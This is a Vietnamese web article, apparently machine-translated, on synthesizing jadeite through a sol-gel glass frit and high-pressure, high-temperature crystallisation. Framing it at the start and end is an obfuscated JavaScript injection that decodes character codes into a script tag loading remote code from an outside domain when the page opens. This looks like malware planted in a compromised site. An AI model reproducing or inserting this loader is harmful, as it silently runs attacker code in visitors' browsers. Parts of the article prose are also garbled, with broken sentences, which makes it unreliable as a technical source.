Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Ngọc Jadeite tổng hợp

Ngọc Jadeite (ngọc cẩm thạch) tổng hợp luôn là chủ đề hấp dẫn đối với những người có niềm đam mê yêu thích ngọc. Trong bài viết này Jade House Việt Nam (www.jadehousevn.com) sẽ giới thiệu một phương pháp giúp tạo ra những viên ngọc Jadeite (ngọc cẩm thạch) tổng hợp!

1, Lời bạt

Thành phần chính của ngọc jadeite tổng hợp dưới áp suất cao được tổng hợp bằng phương pháp sol-gel và thành phần chính phải chịu nhiều xử lý nóng chảy ở nhiệt độ cao để giảm khuyết điểm. Sản phẩm cuối cùng thu được có ít bọt bên trong hơn và được làm nguội để thu được một sản phẩm trong suốt có thành phần hóa học giống ngọc bích NaAlSi2O6. Phương pháp giảm áp suất ở nhiệt độ caoxử lý áp suất cao của thủy tinh để thúc đẩy biến dạng dẻo của mẫu và giảm ứng suất dư, ngăn ngừa mẫu bị nứt, vỡ.

2, Giới thiệu

Ngọc Jadeite là hợp chất pyroxene và khoáng chất hornblend có công thức hóa học là NaAlSi2O6. Sự kết hợp giữa các khoáng vật tạo ra jadeite hoặc omphacite chứ không phải là một khoáng vật duy nhất jadeite. Khoáng vật chính tạo nên jadeite là natri alumino. Jadeite có cấu trúc khối, thường có hình dạng của một cột xiên, cột bán xiên và các hạt không đều, có các tinh thể sinh đôi đơn và đa tinh thể song song.

Các tinh thể đôi là sự phân tách hoàn toàn, do đó cấu trúc thô và cấu trúc đan xen lớn và cấu trúc khảm hạt bao gồm các khoáng chất có thể nhìn thấy mặt phẳng phân tách giữa các tinh thể đôi. Trong trường hợp được chiếu sáng hoặc phơi dưới ánh sáng, bề mặt tinh thể và bề mặt phân tách sẽ hiển thị bề mặt lấp lánh giống như kim, cột hoặc vảy, được gọi là mặt xanh lá cây trong ngành công nghiệp ngọc bích. Với sự tiến bộ không ngừng của khoa học và công nghệ, mọi người ngày càng nhận thức rõ hơn về các quy luật tự nhiên của sự hình thành và phát triển của ngọc bằng cách mô phỏng các định luật này.

Năm 1963, Bell và Roseboom đã sử dụng các phương pháp thí nghiệm để nghiên cứu jadeite và natri; tạo ra ngọc bích tổng hợp để phục vụ nghiên cứu..

Vào những năm 1980, General Electric Company của Hoa Kỳ bắt đầu nghiên cứu tạo ra các sản phẩm ngọc bích tổng hợp. Hiện nay, đang sử dụng quy trình tổng hợp tối ưu hóa để tạo ra jadeite vô định hình trong điều kiện nhiệt độ cao và áp suất cao.

Thành phần chính được nghiền thành bột và được biến đổi thành ngọc tinh thể, một số ngọc jadeite (ngọc cẩm thạch) có kết cấu ấm và tinh tế và màu sắc đồng nhất, và có chất lượng của ngọc cao cấp khi ở nhiệt độ cao, Khi độ thấp hơn 1500 ° C, màu sắc của các mẫu ngọc jadeite (ngọc cẩm thạch) tổng hợp có sự thay đổi và bắt đầu xuất hiện vết nứt. Thí nghiệm này tiếp tục thực hiện nghiên cứu về sự tổng hợp ngọc jadeite (ngọc cẩm thạch) nhân tạo ở nhiệt độ cao và áp suất cao, để xử lý vật liệu ban đầu và nhiệt độ cao và áp suất cao. Tối ưu hóa quy trình trong quy trình tổng hợp để giảm tạp chất và nứt bên trong mẫu, tăng mật độ và độ tinh khiết của mẫu và thu được lao động chất lượng tốt hơn. Tổng hợp các mẫu ngọc bích và tập trung vào các ảnh hưởng của cấu trúc vi mô đến chất lượng của ngọc jadeite tổng hợp.

3, Quy trình tổng hợp ngọc Jadeite (ngọc cẩm thạch) nhân tạo

3.1, Nguyên liệu, lắp ráp và thiết bị

Các nguyên liệu thô được sử dụng trong thí nghiệm này bao gồm Na2SiO3·9H2O, Al2O3, SiO2, Cr2O3 và độ tinh khiết của chúng (phần khối lượng) là ≥98%.

Lớp dolomite được lót như một vật liệu cách nhiệt và dẫn điện.

Các mảnh kim loại được làm bằng mảnh molypden với kích thước ⌀21,0mm × 0,5mm, nhiệt độ được kiểm soát bằng một dòng điện lớn thông qua cơ thể đốt nóng than chì bên trong khối lắp ráp. Than chì thân máy sưởi có độ dày thành 1,15 mm, đường kính 16,5 mm và chiều dài

Mẫu carbon 12 mm và tấm carbon ⌀ 14,2mm × 1,0mm, mẫu

Nó được bọc bằng lá molypden có độ dày 0,01 mm và được đặt trong NaCl. Thí nghiệm

Thiết bị chịu nhiệt độ và áp suất cao được sử dụng trong quy trình là loại bản lề trong nước loại 6 × 1400t sáu

3.2 Chuẩn bị thủy tinh ban đầu trong suốt

3.2.1 Thành phần và hỗn hợp

Công thức hóa học của thành phần khoáng chất chính của jadeite là NaAlSi2O6, được tính theo lý thuyết theo phần khối lượng của mỗi nguyên tố trong NaAlSi2O6.. Các phần khối lượng của Na2SiO3, Al2O3 và SiO2 thu được lần lượt là 30,20%, 25,25% và 44,55%. Phân tích trong quá trình thí nghiệm. Bột Na2SiO3 tinh khiết · 9H2O, Al2O3, SiO2 được sử dụng làm nguyên liệu để trộn và thêm Cr2O3 chiếm 0,01% ~ 0,50% tổng khối lượng của nguyên liệu thô.

Là một tác nhân tạo màu, công thức phản ứng hóa học như sau:

Na2SiO3 + Al2O3 + 3SiO2 -> 2NaAlSi2O6 (1)

Na2SiO3·9H2O được hòa tan trong nước khử ion và Al2O3, SiO2 và chất tạo màu Cr2O3 được đổ vào Na2SiO3·9H2O.

Trong dung dịch nước, khuấy đều cho đến khi huyền phù được tạo thành, rồi đứng yên, sau đó, một lượng nhỏ ethyl orthosilicate được thêm từng giọt vào dung dịch nước ethanol, và sau đó thêm một lượng nhỏ axit axetic loãng. Điều chỉnh giá trị pH, khuấy đều, đổ vào huyền phù, khuấy lại, cuối cùng đổ hỗn hợp vào chén nung và đặt vào lò nướng ở 50°C. Ở giữa, mẫu được khuấy trong các khoảng thời gian và sau khi nước bay hơi đến khô, thu được chất rắn gel đồng nhất. Nguyên tắc là: sử dụng orthosilicate. Ethyl ester làm chất kết dính, quá trình trùng hợp thủy phân ethyl orthosilicate trong điều kiện axit tương đối nhanh, và sản phẩm thủy phân không tạo ra gel ngay lập tức. Phản ứng thủy phân-trùng hợp trong điều kiện kiềm tương đối chậm và gel được tạo ra ngay lập tức. Trong quá trình tạo khí của etyl silicat, nó được kết hợp với Al2O3 và SiO2. Sự ngưng tụ-trùng hợp của Na2SiO3 tạo ra một chất rắn gel đồng nhất.

3.2.2 Thiêu kết ở nhiệt độ cao

Nồi nấu kim loại chứa chất rắn gel được đặt trong lò nung hộp nhiệt độ cao, nóng chảy ở 1200 ~ 1500 ° C trong 4 ~ 10h, sau đó được làm lạnh tự nhiên. Nó được nung chảy liên tục 2 đến 4 lần ở 1200 đến 1500 ° C, sau đó được làm nguội để thu được một mảnh thủy tinh trong suốt có chứa thành phần NaAlSi2O6.

Có thể thấy rằng dưới kính hiển vi âm thanh nổi, khi số lượng thiêu kết tăng lên, các bong bóng bên trong của mẫu trở nên ngày càng kém trong suốt và trở nên trong suốt. Sau quá trình xử lý nhiệt hạch và dập tắt, thu được một cốc thủy tinh trong suốt có hàm lượng bọt nhỏ.

3.3 Tổng hợp ngọc kết tinh dưới nhiệt độ cao và áp suất cao

3.3.1 Hình thành trước

Lấy frit trong suốt có chứa NaAlSi2O6 ra khỏi chén, rửa lại nhiều lần bằng nước khử ion và rượu, rồi cho vào lò nướng. Sấy khô, sau đó bọc trong lá molypden, được đặt vào khối hỗn hợp theo cách lắp ráp như trong Hình 1.

3.3.2 Thí nghiệm nhiệt độ cao và áp suất cao

Trước khi thử nghiệm, khối lắp ráp được nung ở 200 ° C trong 2 ~ 6h để đảm bảo độ khô của nó, sau đó đưa vào máy ép sáu mặt 6 × 1400t. Thí nghiệm nhiệt độ cao và áp suất cao. Phương pháp hiệu chuẩn để lắp ráp áp suất và nhiệt độ bên trong được đưa ra trong tài liệu tham khảo [19] ở 4.0 ~ 5.5GPa, 1300 ~ 1600 ° C. Trong điều kiện giữ áp suất trong 15 ~ 120 phút, áp suất giảm xuống nhiệt độ phòng và áp suất bình thường. Thí nghiệm nhiệt độ cao và áp suất cao với nhiệt độ, áp suất và giảm nhiệt độ. Phương pháp này là để thúc đẩy biến dạng dẻo của mẫu và giảm ứng suất dư để ngăn ngừa nứt mẫu.

3.3.3 Đặc điểm đá quý thông thường

Như được hiển thị trong Hình 3, các mẫu jadeite được tổng hợp thực nghiệm có màu xanh nhạt đến xanh ngọc lục bảo, hơi trong suốt đến mờ đục và có ánh thủy tinh.

Kết quả kiểm tra độ và chiết suất cho thấy mật độ tương đối của mẫu ngọc là 3,26 ~ 3,38, độ cứng Mohs là 6,5 ~ 7.1 và chỉ số khúc xạ của phương pháp tại chỗ là 1,66. Mật độ tương đối của ngọc tự nhiên là 3,25 ~ 3,35 (mật độ tương đối của ngọc tự nhiên chất lượng cao thường là 3,33) và độ cứng Mohs là 6,5 ~ 7,0, chỉ số khúc xạ của phương pháp điểm là 1,66. Có thể thấy rằng các mẫu ngọc tổng hợp thực nghiệm tương tự như các thông số của ngọc tự nhiên. Sau khi frit trong suốt được lắp ráp, nó được xử lý ở 4.0 ~ 5.0GPa và 1300 ~ 1400 ° C trong 15 ~ 120 phút.

Các mẫu ngọc được thể hiện trong Hình 3 (a) ~ Hình 3 (c). Mật độ tương đối của bột sau khi lắp ráp là 2,23 ~ 2,26. Quan sát mẫu dưới kính hiển vi stereo có thể thấy rằng với sự tăng dần của áp suất và nhiệt độ, màu sắc của mẫu có xu hướng đồng đều và chất lượng được tăng lên, nhưng ảnh hưởng của các vết nứt và tạp chất bị ảnh hưởng.

Chất lượng của mẫu. Hình 3 (d) ~ Hình 3 (h) là sự lắp ráp trực tiếp của khối thủy tinh trong suốt, ở 4.0 ~ 5.5GPa, 1300 ~ 1600 ° C. Mẫu thu được sau 15 đến 120 phút được xử lý trong các điều kiện. Mật độ tương đối của khối frit thủy tinh trong quá trình lắp ráp là 2,76 ~ 2,78. Kính hiển vi soi nổi Theo quan sát của mẫu, có thể thấy rằng khi áp suất và nhiệt độ tăng dần, màu sắc của mẫu có xu hướng đồng nhất, và màu sắc và độ trong suốt ngày càng gần hơn. Jadeite tự nhiên (như trong Hình 3 (i)).

4.2 Phân tích XRD của các mẫu tổng hợp

Frit thủy tinh trong suốt thu được sau khi làm nguội, mẫu ngọc tổng hợp và thị trường sử dụng máy đo nhiễu xạ tia X của D Shandongyuan DX-2500. Ngọc tự nhiên chất lượng cao đã được thử nghiệm và kết quả được thể hiện trong Hình 4. Trong quá trình thí nghiệm, máy đo nhiễu xạ tia X sử dụng quét, góc liên tục. Phạm vi là từ 10 ° đến 90 °, kích thước bước là 0,03 và thời gian đếm là 1 s. Hình 4 (a) và Hình 4 (b) là ngọc tự nhiên và 5,5GPa, 1600 ° C. Mẫu XRD của mẫu ngọc tổng hợp được ủ trong 30 phút và vị trí cực đại nhiễu xạ và cường độ cực đại của hai mẫu được so sánh. Đã thu được nút thắt trong mẫu tổng hợp. Thành phần tinh thể là NaAlSi2O6 (thẻ PDF số 72-0174) và không có pha không đồng nhất rõ ràng được hình thành. Hình 4 (c) và Hình 4 (d) là các thanh nhiệt độ khác nhau.

Theo mẫu XRD của mẫu jadeite tổng hợp, có thể thấy rằng frit thủy tinh trong suốt thu được sau khi làm nguội không có đỉnh nhiễu xạ rõ ràng và thể hiện một pha vô định hình. Khoáng vật tinh thể của mẫu jadeite tổng hợp trong điều kiện nhiệt độ và áp suất cao là NaAlSi2O6, và không có pha không đồng nhất rõ ràng được hình thành. Có thể thấy rằng thí nghiệm không. Các mẫu jadeite được tổng hợp trong cùng điều kiện nhiệt độ và áp suất đều có NaAlSi2O6 là thành phần chính và không có sự khác biệt rõ ràng về cấu trúc tinh thể.

4.3 Phân tích SEM cấu trúc vi mô của mẫu tổng hợp

Hình 5 cho thấy hình ảnh SEM của các mặt cắt ngang của mẫu ngọc tổng hợp và ngọc tự nhiên trong các điều kiện nhiệt độ và áp suất khác nhau. Như có thể thấy trong Hình 5 (a), Ở 4.0GPa và 1300 ° C, frit thủy tinh trong suốt ban đầu được kết tinh bằng nhiệt độ cao và xử lý áp suất cao, và cấu trúc vi mô của cấu trúc vi mô được dệt và lộn xộn. Đóng, như trong Hình 5 (b) và Hình 5 (c), ở 5.0GPa và 1400 ~ 1500 ° C, frit thủy tinh trong suốt ban đầu được kết tinh và hình thành.

Các hạt giống như kim mảnh, và cấu trúc tinh thể của mẫu có xu hướng chặt chẽ khi nhiệt độ tăng và tỷ lệ khung hình của các hạt giống như kim tăng lên; Hình 5 (d). Như được hiển thị trong Hình 5 (e), ở 5,5GPa và 1500 ~ 1600 ° C, tinh thể mẫu được dệt thành hình dạng giống như nỉ, được sắp xếp theo thứ tự và cũng có nhiệt độ.. Mức độ tăng có xu hướng chặt chẽ và hầu như không thấy khoảng cách giữa các hạt tinh thể, đặc biệt là mẫu được tổng hợp ở 5,5 GPa và 1600 ° C, nút thắt. Tinh thể về cơ bản giống như tinh thể của ngọc tự nhiên chất lượng cao (xem Hình 5 (f)), và chất lượng của ngọc được tổng hợp tại thời điểm này gần với cấp ngọc. Theo phân tích trên được biết, các mẫu thu được bằng cách xử lý nhiệt độ cao và áp suất cao trong thí nghiệm này có cấu trúc tinh thể giống như ngọc tự nhiên, đây là nguyên nhân chính dẫn đến chất lượng của mẫu. Nguyên tố là cấu trúc vi mô của jadeite sau khi kết tinh, nghĩa là kích thước, hình thái, sự liên kết và độ nén của các hạt jadeite trong mẫu.

4 Kết luận

(1) Sau khi hỗn hợp nguyên liệu ban đầu được trộn, bột mịn được hình thành, do đó phản ứng ban đầu không hoàn thành sau quá trình thiêu kết ở nhiệt độ cao của lò nung, và không thu được. Có nhiều bong bóng trong thủy tinh pha lê, ảnh hưởng đến chất lượng của các mẫu jadeite được tổng hợp ở nhiệt độ cao và áp suất cao. Trong thí nghiệm này, ethyl orthosilicate đã được sử dụng làm chất kết dính. Vật liệu ban đầu dạng rắn gel được tạo ra có các đặc tính của mật độ ban đầu lớn và khí ít bị hấp phụ, vật liệu ban đầu dạng rắn gel được nung ở 1200 ~ 1500 ° C

Sau khi vật liệu bên trong về cơ bản được phản ứng hoàn toàn, mặc dù có một số lượng lớn bong bóng, lượng bọt trong mẫu frit ban đầu có thể thu được bằng cách xử lý nóng chảy ở nhiệt độ cao lặp đi lặp lại. Giảm đáng kể, tăng mật độ và độ trong suốt của nó, và làm cho phản ứng nguyên liệu hoàn toàn và sự phân bố Cr3 + trong mẫu có xu hướng đồng đều, và cuối cùng làm dịu khí. Một frit thủy tinh vô định hình trong suốt với ít bọt và màu sắc đồng nhất.

(2) Trong thí nghiệm tổng hợp các mẫu jadeite ở nhiệt độ cao và áp suất cao, hai phương pháp được sử dụng: một là ép trước bột frit trong suốt và đưa vào lắp ráp. Thứ hai là đặt khối thủy tinh trong suốt trực tiếp vào lắp ráp. Bằng cách so sánh kết quả thí nghiệm, chất lượng của mẫu ngọc thu được bằng phương pháp thứ hai đã được tìm thấy. Cao hơn, và phương pháp đầu tiên có nhược điểm là giới thiệu tạp chất.

(3) Thử nghiệm nhiệt độ và áp suất cao được thực hiện bằng phương pháp nhiệt độ, áp suất và nhiệt độ và giảm áp suất. Cái trước có thể thúc đẩy biến dạng dẻo của mẫu, cái sau có thể. Giảm ứng suất dư bên trong mẫu để tránh nứt mẫu. Phân tích XRD của các mẫu ngọc cho thấy các mẫu ngọc tổng hợp và ngọc jadeite tự nhiên. Cấu trúc tinh thể về cơ bản là giống nhau, phân tích thêm về phần mẫu của SEM cho thấy yếu tố chính ảnh hưởng đến chất lượng của mẫu ngọc tổng hợp là sự kết tinh. Cấu trúc vi mô của ngọc cẩm thạch sau cứng, nghĩa là kích thước, hình thái, sự liên kết và độ nén của các hạt ngọc jadeite (ngọc cẩm thạch) trong mẫu. Ngọc bích jadeite (ngọc cẩm thạch) được tổng hợp trong thí nghiệm này có màu đồng nhất, và mẫu thu được bằng cách trực tiếp thực hiện các thí nghiệm nhiệt độ cao và áp suất cao trên khối ngọc jadeite (ngọc cẩm thạch) vô định hình có kích thước. Các khối ngẫu nhiên 3 ~ 8 mm, mật độ tương đối, độ cứng Mohs, chỉ số khúc xạ và các tính chất đá quý khác phù hợp với ngọc tự nhiên và XRD của nó. Kết quả của SEM và các thử nghiệm khác phù hợp với ngọc tự nhiên, nhược điểm là vẫn có một sự khác biệt nhất định giữa độ trong suốt và ngọc cẩm thạch chất lượng đá quý chất lượng cao. Các bước cụ thể và điều kiện thí nghiệm để xử lý mẫu trong quá trình thử nghiệm cần thăm dò và cải tiến thêm.

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();